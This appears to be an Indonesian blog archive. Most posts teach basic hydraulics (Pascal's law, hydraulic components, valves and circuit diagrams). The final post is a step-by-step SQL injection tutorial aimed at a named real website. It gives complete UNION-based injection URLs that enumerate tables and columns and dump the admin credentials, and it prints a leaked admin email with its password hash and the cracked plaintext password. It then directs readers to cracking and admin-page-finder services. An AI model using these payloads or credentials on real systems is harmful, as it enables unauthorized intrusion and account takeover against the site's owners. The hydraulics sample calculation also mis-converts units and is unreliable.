Thursday 21 March 2013

Hukum Pascal Dan Penerapannya

Prinsip-prinsip Penting dari Zat Cair/ Hidrolik

  • Cairan tidak dapat dimampatkan/ dikompresikan / diperkecil volumenya.
  • Hukum Pascal :  Tekanan yang diberikan pada zat cair / hidrolik dalam bejana tertutup, besarnya tekanan akan diteruskan ke segala arah dengan tekanan sama besar.

Fluida terdiri atas zat cair [liquid], satuan tekanan yang digunakan Standard Internasional (S1) ialah Pascal (Pa).

  • 1 kPa = 1000 Pa
  • 1 bar = 100 kPa




Kegunaan Prinsip Hidrolik

  • Dapat meneruskan gerakan dalam jarak yang jauh
  • Dapat meningkatkan panjang gerakan, dalam hal ini tenaga gerakan akan turun
  • Dapat meningkatkan besarnya tenaga tekan, dalam hal ini panjang gerakan akan turun


Jika kedua silinder sama ukurannya, lalu sebuah gaya (N) bekerja pada silinder utama menyebabkan piston pada silinder kedua (actuator) mendapat gaya yang sama, bila kedua piston bergerak pada jarak yang sama

Untuk menghitung gaya, tekanan atau penambahan gaya dapat digunakan rumus segitiga, yaitu:
Gaya                     :  F (Force)        =  N
Tekanan               :  P (Pressure)   =  Kpa
Luas Penampang :  A (Area)         =  m²






F = P x A


P = F / A = Kpa | A = F / P = m²


Contoh penghitungan :
Gaya yang bekerja 50 N luas penampang 40 mm²
Besarnya gaya yang bekerja / satuan luas atau tekanan = 50 N : 0,04 m² = 1250 Kpa




Memperpanjang Gerakan

  • Jika piston pada silinder I lebih besar dari pada piston II (actuator) maka Piston II pergerakannya lebih panjang
  • Jika piston pada silinder I lebih besar 10 X dibanding piston II, maka piston II akan pergerakannya 10 X lebih besar





Meningkatkan Besar Tekanan

  • Jika piston silinder I lebih kecil dari pada piston silinder II (actuator), maka Piston II menerima gaya tekan lebih besar
  • Jika piston silinder I lebih kecil daripada piston II, maka piston II pergerakannya lebih pendek


Wednesday 20 March 2013

Pengertian Sistem Hidrolik

Sistem Hidrolik adalah suatu sistem/ peralatan yang bekerja berdasarkan sifat dan potensi / kemampuan yang ada pada zat cair ( liquid ). Sistem ini bekerja berdasarkan prinsip yang berbunyi:  Jika suatu zat cair dikenakan tekanan, maka tekanan itu akan merambat ke segala arah dengan tidak bertambah atau berkurang kekuatannya

Kata hidrolik sendiri berasal dari bahasa ‘Greek’ yakni dari kata ‘hydro’ yang berati air dan ‘aulos’ yang berarti pipa. Namun, pada masa sekarang ini sistem hidrolik kebanyakan menggunakan air atau campuran oli dan air (water emulsian) atau oli saja.

Penggunaan sistem hidrolik, dalam bidang penerapannya :


Transmisis Otomatis
Dongkrak Hidrolik
Press Hidrolik

Rem Hidrolik

Bidang Industri
  • alat press
  • mesin pencetak plastik
  • mesin pencetak logam
  • pesawat angkat (lift, katrol)
  • robot
Bidang Otomotif
  • bolduser
  • traktor
  • car lift
  • dongkrak hidrolik
  • dump truck
  • komponen-komponen kendaraan ( power steering, rem )
Bidang Penerbangan
  • penggerak alat-alat kontrol
  • penggerak roda
  • pengangkat peralatan
Keuntungan Sistem Hidrolik
  • Tenaga besar, dimensi peralatan yang kecil
  • Kecepatan gerak yang dapat diatur (bervariasi)
  • Mudah diubah arah gerakannya
  • Pencegahan beban lebih yang sederhana konstruksinya (reliev valve)
  • Mudah dihentikan tanpa merusak
Macam-macam Sistem Hidrolik
Hidrostatis
Pesawat hidrolik yang menggunakan sifat zat cair yaitu dapat meneruskan tenaga / daya kesegala arah
Contoh : Dongkrak hidrolik, rem hidrolik, derek lantai
Hidrodinamis
Pesawat hidrolik yang menggunakan potensi zat cair yang bergerak sehingga memiliki / menimbulkan tenaga hidrolik
Contah : Turbin air, pembangkit listrik

Tuesday 19 March 2013

Komponen Utama Sistem Hidrolik




Sistem hidrolik ini didukung oleh 3 unit komponen utama, yaitu:

1. Unit Tenaga,  berfungsi sebagai sumber tenaga dengan liquid/ minyak hidrolik

Pada sistem ini, unit tenaga terdiri atas:
  • Penggerak mula yang berupa motor listrik atau motor bakar
  • Pompa hidrolik, putaran dari poros penggerak mula memutar pompa hidrolik sehingga pompa hidrolik bekerja
  • Tangki hidrolik, berfungsi sebagai wadah atau penampang cairan hidrolik
  • Kelengkapan (accessories), seperti : pressure gauge, gelas penduga, relief valve

2. Unit Penggerak (Actuator), berfungsi untuk mengubah tenaga fluida menjadi tenaga mekanik.
Hidrolik actuator dapat dibedakan menjadi dua macam yakni:
  • Penggerak lurus (linier Actuator) : silinder hidrolik
  • Penggerak putar : motor hidrolik, rotary actuator

3. Unit Pengatur, berfungsi sebagai pengatur gerak sistem hidrolik.


Unit pengatur diwujudkan dalam bentuk katup atau valve yang macam-macamnya akan dibahas berikut:

3.1 Katup Pengarah (Directional Control Valve = DCV) 
Katup (Valve) adalah suatu alat yang menerima perintah dari luar untuk melepas, menghentikan atau mengarahkan fluida yang melalui katup tersebut.
Contoh jenis katup pengarah: Katup 4/3 Penggerak lever, Katup pengarah dengan piring putar, katup dengan pegas bias.

3.2 Macam-macam Katup Pengarah Khusus 
  • 1) Check Valve adalah katup satu arah, berfungsi sebagai pengarah aliran dan juga sebagaipressure control (pengontrol tekanan)
  • 2) Pilot Operated Check Valve, Katup ini dirancang untuk aliran cairan hidrolik yang dapat mengalir bebas pada satu arah dan menutup pada arah lawannya, kecuali ada tekanan cairan yang dapat membukanya.
  • 3) Katup Pengatur Tekanan, Tekanan cairan hidrolik diatur untuk berbagai tujuan misalnya untuk membatasi tekanan operasional dalam sistem hidrolik, untuk mengatur tekanan agar penggerak hidrolik dapat bekerja secara berurutan, untuk mengurangi tekanan yang mengalir dalam saluran tertentu menjadi kecil.
Macam-macam Katup pengatur tekanan adalah: 
a. Relief Valve, digunakan untuk mengatur tekanan yang bekerja pada sistem dan juga mencegah terjadinya beban lebih atau tekanan yang melebihi kemampuan rangkaian hidrolik.
b. Sequence Valve, berfungsi untuk mengatur tekanan untuk mengurutkan pekerjaan yaitu menggerakkan silinder hidrolik yang satu kemudian baru yang lain.
c. Pressure reducing valve, berfungsi untuk menurunkan tekanan fluida yang mengalir pada saluran kerja karena penggerak yang akan menerimanya didesain dengan tekanan yang lebih rendah.
  • 4) Flow Control Valve, katup ini digunakan untuk mengatur volume aliran yang berarti mengatur kecepatan gerak actuator (piston).
Fungsi katup ini adalah sebagai berikut:
  • Untuk membatasi kecepatan maksimum gerakan piston atau motor hidrolik
  • Untuk membatasi daya yang bekerja pada sistem
  • Untuk menyeimbangkan aliran yang mengalir pada cabang-cabang rangkaian.
Macam-macam dari Flow Control Valve :
  • Fixed flow control yaitu: apabila pengaturan aliran tidak dapat berubah-ubah yaitu melalui fixed orifice.
  • Variable flow control yaitu apabila pengaturan aliran dapat berubah-ubah sesuai dengan keperluan
  • Flow control yang dilengkapi dengan check valve
  • Flow control yang dilengkapi dengan relief valve guna menyeimbangkan tekanan

Menggambar Rancangan Rangkaian Hidrolik

Setelah kita pelajari komponen-komponen sistem hidrolik secara detail dan juga telah kita pelajari berbagai simbol dari setiap komponen sebagai bahasan tenaga fluida, demikian juga telah kita pelajari cara membaca diagram rangkaian (circuit diagram) maka akan kita mulai dengan cara mendesain (merancang) suatu rangkaian sesuai dengan yang kita kehendaki bila telah tersedia komponen-komponen sistem hidrolik.

Hal-hal yang perlu diperhatikan dalam merancang rangkaian hidrolik adalah:
  • Tujuan penggunaan rangkaian
  • Ketersediaan komponen
  • Konduktor dan konektor yang digunakan macam apa
  • Tekanan kerja sistem hidrolik berapa

Rancangan rangkaian hidrolik perlu dituangkan dalam bentuk diagram rangkaian hidrolik dengan menggunakan simbol-simbol grafik, dengan bantuan simbol-simbol grafik para desainer dapat menuangkan pemikiran lebih mudah, lebih tenang sehingga dapat berkreasi seoptimal mungkin.

Cara membuat diagram rangkaian biasanya dengan membuat tata letak komponen sebagai berikut:
  • Actuator diletakkan pada gambar yang paling atas
  • Unit pengatur diletakkan di bawahnya
  • Unit tenaga diletakkan pada bagian paling bawah
  • Setelah simbol-simbol komponen lengkap dalam lay out (tata letak) barulah digambar garis-garis penghubung sebagai gambar konduktor dengan garis-garis sesuai dengan macam konduktor yang digunakan

Gambar. Tata letak komponen hidrolik



Gambar. Diagram rangkaian hidrolik lengkap

Tuesday 5 March 2013

Tutorial SQL Injection

Pertama cari target yg mengandung bug's atau situs" vuln...
Disini target kita adalah " http://www.dpsmbd.com "

Ket: Bisa juga dengan ?id=1...
Setelah itu mulai mencari jumlah urutan table dengan order by ( dalam beberapa kasus order by tidak akan berfungsi...)
Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 2--
Jika situs masih tampak normal silahkan lanjutkan sampai menemui halaman yg error.

Misalkan :
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 2--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 3--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 4--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 5--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 6--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 7--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 8--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 9--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 10--

Ket: Gak perlu ngurut... di loncat2 juga bisa yg penting ketemu pertemuan antara error dan tidak pas dimana...
Selanjutnya melakukan colomn count dengan UNION SELECT menggunakan angka hingga keluar daftar angka didalam situs tersebut....

Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

Ket: Anda bisa sebenar'a langsung ke union select 1,2,3,4,5,6,7,8,9--
Karena order by yang tadi dilakukan sampai angka 9 sebelum terjadi error'a....
Setelah tau angka apa saja yg keluar setelah melakukan column count, kita tinggal mencari daftar table'a...dan menaruh group_concat(table_name) di urutan nomor yg tadi keluar di web tersebut...

Dan menaruh "from information_schema.tables where table_schema=database()--" diakhir angka " berarti 9 "......

Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--
Jika keluar daftar table'a...pilihlah table mana yg ingin kita exploitasi...Misalkan kita pilih table "admin"
untuk mencari nama kolom didalam table admin, terlebih dahulu kita merubah/meng convert text "admin" kedalam Hexadecimal
Ke situs http://www.string-functions.com/string-hex.aspx
hasil hex dari admin = 61646d696e setiap hexadecimal diawali dengan 0x...dan menjadi 0x61646d696e

Lalu tambahkan
limit 1,1--
limit 2,1--
limit 3,1--
limit 4,1--

Fungsi'a untuk mengetahui nama kolom dari table yang dimaksud.

Contoh:
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 1,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 2,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 3,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 4,1--



Berikut nama2 kolom dari hasil exploitasi..

limit 1,1--
limit 2,1--
limit 3,1--
limit 4,1--
Yang akan kita exploitasi selanjutnya adalah isi dari nama kolom " user_name " dan " pass_word "
Contoh :

http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(user_name,0x3a,pass_word),4,5,6,7,8,9 from admin--
Atau bisa juga satu per satu dengan cara memisahkan nama kolom
Contoh:
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,user_name,4,5,6,7,8,9 from admin--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,pass_word,4,5,6,7,8,9 from admin--

Maka keluarlah isi dari kolom tersebut, dengan isi :
superadmin@dps.com:44771849be55a878c9651a1794308cf5 yang berarti :
user_name = superadmin@dps.com
pass_word = 44771849be55a878c9651a1794308cf5

Karna password'a masih berbentuk hash...maka anda decrypt terlebih dahulu hash tersebut ke http://www.md5decrypter.co.uk/ dan akan ditemukan hasil'a menjadi :
Password = DPSmbd

Setelah mengetahui username dan password'a, tugas anda selanjutnya adalah mencari login page admin dari situs tersebut.
Silahkan gunakan tool finder page admin atau menggunakan jasa online ke http://sc0rpion.ir/af/
NB : Tehnik diatas tidaklah baku dan bersifat prosedural....kalian bisa menggunakan cara lain.....